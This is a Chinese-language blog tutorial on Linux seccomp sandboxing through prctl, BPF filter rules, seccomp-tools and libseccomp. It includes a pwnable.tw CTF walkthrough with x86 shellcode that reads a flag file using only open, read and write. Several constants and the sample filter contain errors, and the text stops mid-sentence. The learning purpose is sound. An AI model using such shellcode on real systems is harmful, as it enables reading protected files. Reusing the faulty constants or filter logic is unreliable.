從prctl函數開始學習沙箱規則
這篇文章很早就寫完了,字數有點多,之前懶得抄到博客上去。最近回頭再看,相當於溫習一遍,也有了很多新的收獲。
1.prctl函數初探
prctl是基本的進程管理函數,最原始的沙箱規則就是通過prctl函數來實現的,它可以決定有哪些系統調用函數可以被調用,哪些系統調用函數不能被調用。這里展示一下/linux/prctl.h和seccomp相關的源碼,其他的細節,還可以在Github上再去查找,這里就暫時不再贅述。
/* Get/set process seccomp mode */ #define PR_GET_SECCOMP 21 #define PR_GET_SECCOMP 22 /* * If no_new_privs is set, then operations that grant new privileges (i.e. * execve) will either fail or not grant them. This affects suid/sgid, * file capabilities, and LSMs. * * Operations that merely manipulate or drop existing privileges (setresuid, * capset, etc.) will still work. Drop those privileges if you want them gone. * * Changing LSM security domain is considered a new privilege. So, for example, * asking selinux for a specific new context (e.g. with runcon) will result * in execve returning -EPERM. * * See Documentation/userspace-api/no_new_privs.rst for more details. */ #define PR_SET_NO_NEW_PRIVS 38 #define PR_GET_NO_NEW_PRIVS 39
prctl函數原型:int prctl(int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具體了解prctl函數之前,我們再了解這樣一個概念:沙箱。沙箱(Sandbox)是程序運行過程中的一種隔離機制,其目的是限制不可信進程和不可信代碼的訪問權限。seccomp是內核中的一種安全機制,seccomp可以在程序中禁用掉一些系統調用來達到保護系統安全的目的,seccomp規則的設置,可以使用prctl函數和seccomp函數族。
include/linux/prctl.h里面存儲着prctl的所有參數的宏定義,prctl的五個參數中,其中第一個參數是你要做的事情,后面的參數都是對第一個參數的限定。
在第一個參數中,我們需要重點關注的參數有這兩個:
(1).PR_SET_SECCOMP(22):當第一個參數是PR_SET_SECCOMP,第二個參數argv2為1的時候,表示允許的系統調用有read,write,exit和sigereturn;當argv等於2的時候,表示允許的系統調用由argv3指向sock_fprog結構體定義,該結構體成員指向的sock_filter可以定義過濾任意系統調用和系統調用參數。(細節見下圖)
(2).PR_SET_NO_NEWPRIVS(38):prctl(38,1,0,0,0)表示禁用系統調用execve()函數,同時,這個選項可以通過fork()函數和clone()函數繼承給子進程。
struct sock_fprog { unsigned short len; /* 指令個數 */ struct sock_filter *filter; /*指向包含struct sock_filter的結構體數組指針*/ }
struct sock_filter { /* Filter block */ __u16 code; /* Actual filter code,bpf指令碼,后面我們會詳細地學習一下 */ __u8 jt; /* Jump true */ __u8 jf; /* Jump false */ __u32 k; /* Generic multiuse field */ }; //seccomp-data結構體記錄當前正在進行bpf規則檢查的系統調用信息 struct seccomp_data{ int nr;//系統調用號 __u32 arch;//調用架構 __u64 instruction_pointer;//CPU指令指針 __u64 argv[6];//寄存器的值,x86下是ebx,exc,edx,edi,ebp;x64下是rdi,rsi,rdx,r10,r8,r9 }
2.BPF過濾規則(伯克利封裝包過濾)
我個人理解,突破沙箱規則,本質上就是一種越權漏洞。seccomp是linux保護進程安全的一種保護機制,它通過對系統調用函數的限制,來保護內核態的安全。所謂沙箱,就是把用戶態和內核態相互分離開,讓用戶態的進程,不要影響到內核態,從而保證系統安全。
如果我們在沙箱中,完全遵守seccomp機制,我們便只能調用exit(),sigreturn(),read()和write()這四種系統調用,那么其實我們的進程應該是安全的(其實也不一定,后面的例題就沒有溢出,而是通過系統調用直接讀取文件)。但是,由於他的規則過於死板,所以后面出現了過濾模式,讓我們可以調用到那些系統調用。回顧上面提到的PT_SET_SECCOMP這個參數,后面接到的第一個參數,就是它設置的模式,第三個參數,指向sock_fprog結構體,sock_fprog結構體中,又有指向sock_filter結構體的指針,sock_filter結構體這里,就是我們要設置規則的地方。
我們在設置過濾規則,在面對沙箱題目的時候,會經常用到Seccomp-tools這個工具。
BPF指令集簡介
BPF_LD:加載操作,BPF_H表示按照字節傳送,BPF_W表示按照雙字來傳送,BPF_B表示傳送單個字節。
BPF_LDX:從內存中加載byte/half-word/word/double-word。
BPF_ST,BPF_STX:存儲操作
BPF_ALU,BPT_ALU64:邏輯操作運算。
BPT_JMP:跳轉操作,可以和JGE,JGT,JEQ,JSET一起表示有條件的跳轉,和BPF_JA一起表示沒有條件的跳轉。
#include<stdio.h> #include<fcntl.h> #include<unistd.h> #include<stddef.h> #include<linux/seccomp.h> #include<linux/filter.h> #include<sys/prctl.h> #include<linux/bpf.h> //off和imm都是有符號類型,編碼信息定義在內核頭文件linux/bpf.h #include<sys/types.h> int main() { struct sock_filter filter[]={ BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0), // 從第0個字節開始,傳送4個字節 BPF_JUMP(BPF_JMP|BPF_JEQ, 59, 1, 0), // 比較是否為59(execve 的系統調用號),是就跳過下一行,如果不是,就執行下一行,第三個參數表示執行正確的指令跳轉,第四個參數表示執行錯誤的指令跳轉 BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0), // BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL), // 殺死一個進程 // BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_TRACE), // 父進程追蹤子進程,具體沒太搞清楚 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO), // 異常處理 BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), // 這里表示系統調用如果正常,允許系統調用 }; struct sock_fprog prog={ .len=sizeof(filter)/sizeof(sock_filter[0]), .filter=filter, }; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一個參數是進行什么設置,第二個參數是設置的過濾模式,第三個參數是設置的過濾規則 puts("123"); return 0; }
上面的代碼很簡單,是我開始看bpf的時候,H4師傅給我隨手寫的一段供我學習的設置bpf規則的代碼,我加了寫注釋。可以順着這段代碼,來一步步理解bpf規則,然后寫出自己的過濾規則,進一步地學習。
開始的時候,我們設置了sock_filter結構體數組。這里為什么是一個結構體數組呢?因為我們看到里面有BPF_STMT和BPF_JMP的宏定義,其實BPF_STMT和BPF_JMP都是條件編譯后賦值的sock_filter結構體。
#ifndef BPF_STMT #define BPF_STMT(code,k){(unsigned short)(code),0,0,k} #endif #ifndef BPF_JUMP #define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k} #endif
上面的例子中禁用了execve的系統調用號,64位系統中execve的系統調用號是59.
BPF_JUMP后的第二個參數是我們要設置的需要禁用的系統調用號。
我們在這里禁用的兩個系統調用分別是sys_restart_syscall和execve,如果出現這兩個系統調用,那么我們就會跳轉到BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_ERRNO)的異常處理。其實,如果我們要直接殺死這個進程的話,BPF_STMP(BPF_RET+BPF_K,SECCOMP_RET_KILL)這個規則可以直接殺死進程。
github上有一篇書寫bpf規則的例子,這里給出鏈接:
bpf例子
上面是我又加了一個過濾規則,把系統調用號11也禁用掉,因為我們這里沒有審查arch,而在32位下,execve的系統調用號是11,所以把這個系統調用也禁用掉。
禁用掉之后,我們通過seccomp來dump一下。我們看到,最前面的就是sock_filter結構體的四個參數,后面的,就是bpf規則的匯編表示,可以看到當系統調用號是59和11的時候,跳轉到第四行殺死進程,非常明了。
至此,我們也是基本了解了bpf,並且能夠書寫出bpf規則,接下來,我們再看看seccomp-tools的工具使用。
3seccomp-tools工具使用
seccomp-tools是Github上的一個開源的工具,具體的細節,在Github上可以查閱。這里,我們做一個簡單的介紹。
dump:將bpf規則從可執行文件中dump下來。
seccomp-tools dump ./可執行文件名 [-f][inspect] [raw] [xxd]
disasm:將bpf規則反匯編出來
seccomp-tools disasm ./可執行文件名.bpf
asm:運用這個模塊,我們可以寫一個asm腳本,然后執行seccomp-tools asm [asm腳本名]
4例題(pwnable.tw —— orw)
orw是一種方法,在系統調用被嚴格禁用的情況下,代表open(),read(),write()這三個函數。
主函數如上所示,其中有一個orw_seccomp函數
我們用seccomp-tools看一下它的過濾規則,可以發現,只有rt_signreturn,exit_group,exit,open,read,write這幾個系統調用是可以被調用的。
程序沒有溢出點,但是在填入shellcode之后,會主動調用shellcode,題目提示:flag位於“/home/orw/”目錄下,所以這里寫入的shellcode直接調用sys_open,sys_read,sys_write讀取flag即可,這里寫一個匯編腳本。
mov eax,0x5; push 0x67616c66; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp; //前面是把字符串“home/orw/flag”作為參數填入棧中,這里是從esp開始,把棧中的參數轉入ebx寄存器中 xor ecx,ecx; push ecx; //這里壓入棧中,表示ecx寄存器由調用者保存 xor edx,edx; int 0x80; //sys_open mov eax 0x3; mov ecx,ebx; mov ebx,0x3; mov edx,0x30; int 0x80; //sys_read mov eax,0x4; mov bl,0x1; mov edx,0x30; int 0x80
然后用pwntools寫一個腳本吧shellcode發送過去就好了(自己寫一遍啊,2333)
有借鑒過其他師傅的博客,這里一並列出:
linux沙箱之seccomp
seccomp學習筆記
關於seccomp沙箱中的bpf規則
寫在最后:
prctl函數是最原始的,建立沙箱規則的函數。后面出現的seccomp.h對prctl函數進行了封裝,有了seccomp_init(),seccomp_rule_add(),seccomp_load()函數來進行沙箱規則的設置。
/* * seccomp actions */ /** * Kill the process */ #define SCMP_ACT_KILL 0x00000000U /** * Throw a SIGSYS signal */ #define SCMP_ACT_TRAP 0x00030000U /** * Return the specified error code */ #define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU)) /** * Notify a tracing process with the specified value */ #define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU)) /** * Allow the syscall to be executed after the action has been logged */ #define SCMP_ACT_LOG 0x7ffc0000U /** * Allow the syscall to be executed */ #define SCMP_ACT_ALLOW 0x7fff0000U
seccomp_rule_add函數負責添加規則,函數原型如下:
/** * Add a new rule to the filter * @param ctx the filter context * @param action the filter action * @param syscall the syscall number * @param arg_cnt the number of argument filters in the argument filter chain * @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended) * * This function adds a series of new argument/value checks to the seccomp * filter for the given syscall; multiple argument/value checks can be * specified and they will be chained together (AND'd together) in the filter. * If the specified rule needs to be adjusted due to architecture specifics it * will be adjusted without notification. Returns zero on success, negative * values on failure. * */ int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...);
第二個參數如下所示,表示對某個系統調用要進行的操作:
/* * seccomp actions */ /** * Kill the process */ #define SCMP_ACT_KILL 0x00000000U /** * Throw a SIGSYS signal */ #define SCMP_ACT_TRAP 0x00030000U /** * Return the specified error code */ #define SCMP_ACT_ERRNO(x) (0x00050000U | ((x) & 0x0000ffffU)) /** * Notify a tracing process with the specified value */ #define SCMP_ACT_TRACE(x) (0x7ff00000U | ((x) & 0x0000ffffU)) /** * Allow the syscall to be executed after the action has been logged */ #define SCMP_ACT_LOG 0x7ffc0000U /** * Allow the syscall to be executed */ #define SCMP_ACT_ALLOW 0x7fff0000U
最后一個參數為0的時候,表示直接對系統調用進行操作。如果當某個參數滿足條件后,對某個系統調用進行操作,那么可以有以下的宏定義進行限制:
/** * Specify an argument comparison struct for use in declaring rules * @param arg the argument number, starting at 0 * @param op the comparison operator, e.g. SCMP_CMP_* * @param datum_a dependent on comparison * @param datum_b dependent on comparison, optional */ #define SCMP_CMP(...) ((struct scmp_arg_cmp){__VA_ARGS__}) /** * Specify an argument comparison struct for argument 0 */ #define SCMP_A0(...) SCMP_CMP(0, __VA_ARGS__) /** * Specify an argument comparison struct for argument 1 */ #define SCMP_A1(...) SCMP_CMP(1, __VA_ARGS__) /** * Specify an argument comparison struct for argument 2 */ #define SCMP_A2(...) SCMP_CMP(2, __VA_ARGS__) /** * Specify an argument comparison struct for argument 3 */ #define SCMP_A3(...) SCMP_CMP(3, __VA_ARGS__) /** * Specify an argument comparison struct for argument 4 */ #define SCMP_A4(...) SCMP_CMP(4, __VA_ARGS__) /** * Specify an argument comparison struct for argument 5 */ #define SCMP_A5(...) SCMP_CMP(5, __VA_ARGS__) /** * Comparison operators */ enum scmp_compare { _SCMP_CMP_MIN = 0, SCMP_CMP_NE = 1, /**< not equal */ SCMP_CMP_LT = 2, /**< less than */ SCMP_CMP_LE = 3, /**< less than or equal */ SCMP_CMP_EQ = 4, /**< equal */ SCMP_CMP_GE = 5, /**< greater than or equal */ SCMP_CMP_GT = 6, /**< greater than */ SCMP_CMP_MASKED_EQ = 7, /**< masked equality */ _SCMP_CMP_MAX, }; /** * Argument datum */ typedef uint64_t scmp_datum_t; /** * Argument / Value comparison definition */ struct scmp_arg_cmp { unsigned int arg; /**< argument number, starting at 0 */ enum scmp_compare op; /**< the comparison op, e.g. SCMP_CMP_* */ scmp_datum_t datum_a; scmp_datum_t datum_b; };
seccomp_load負責導入規則,seccomp_load導入規則之后,添加的規則才能執行,函數原型如下: